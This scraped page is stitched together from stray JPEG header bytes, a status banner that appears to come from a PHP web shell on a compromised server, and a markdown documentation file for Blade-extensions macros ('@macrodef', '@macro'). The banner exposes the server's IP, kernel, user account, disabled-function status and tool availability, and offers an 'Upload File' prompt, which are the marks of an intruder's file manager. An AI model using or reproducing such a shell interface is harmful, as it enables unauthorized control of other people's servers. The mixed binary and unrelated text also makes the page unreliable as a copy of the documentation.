ÿØÿà JFIF H H ÿÛ C ÿÛ Cÿ " ÿÄ ÿÄ ÿÚ ±5¬€ ÿÄ àÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÄ àÿÚ ?! ÿÚ ÿÄ ÀÿÚ ? ÿÄ ÀÿÚ ? ÿÄ àÿÚ ? ÿÙ
| Server IP : 160.25.81.117 / Your IP : 216.73.216.137 Web Server : Apache/2 System : Linux sv05.hilab.cloud 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : bellizen ( 1045) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/bellizen/public_html/vaoday/vendor/radic/blade-extensions/docs/directives/ |
Upload File : |
---
title: Macros
subtitle: '@macro @macrodef'
---
#### Creating macro's
A few examples:
```php
@macrodef('alert', $type, $content, $dismissible = true)
<?php
$dismissible = $dismissible ? "<button type='button' class='close' data-dismiss='alert' aria-label='Close'><span aria-hidden='true'>×</span></button>\n" : '';
return "<div class='alert alert-{$type}' role='alert'>{$dismissible}{$content}</div>";
?>
@endmacro
@macrodef('lia', $label, $href = '#', $listClass = '', $linkClass = '')
<?php
$listClass = $listClass == '' ? '' : " class='{$listClass}'";
$linkClass = $linkClass == '' ? '' : " class='{$linkClass}'";
return "<li{$listClass}><a href='{$href}'{$linkClass}>{$label}</a></li>";
?>
@endmacro
@macrodef('divider', $class = 'divider', $role = 'seperator')
<?php return "<li role='{$role}' class='{$class}'></li>"; ?>
@endmacro
```
#### Using macros
```php
<div class="row">
<div class="col-md-6">
@macro('alert', 'warning', 'This is a warning')
@macro('alert', 'info', 'This is some information without dismiss button', false)
@macro('alert', 'success', 'You did well!')
</div>
</div>
@embed('blade-ext::dropdown', ['button' => true])
@section('label', 'Choose')
@section('items')
@macro('lia', 'Action')
@macro('lia', 'Another Action')
@macro('lia', 'Something else here')
@macro('lia', 'Separated link')
@stop
@endembed
```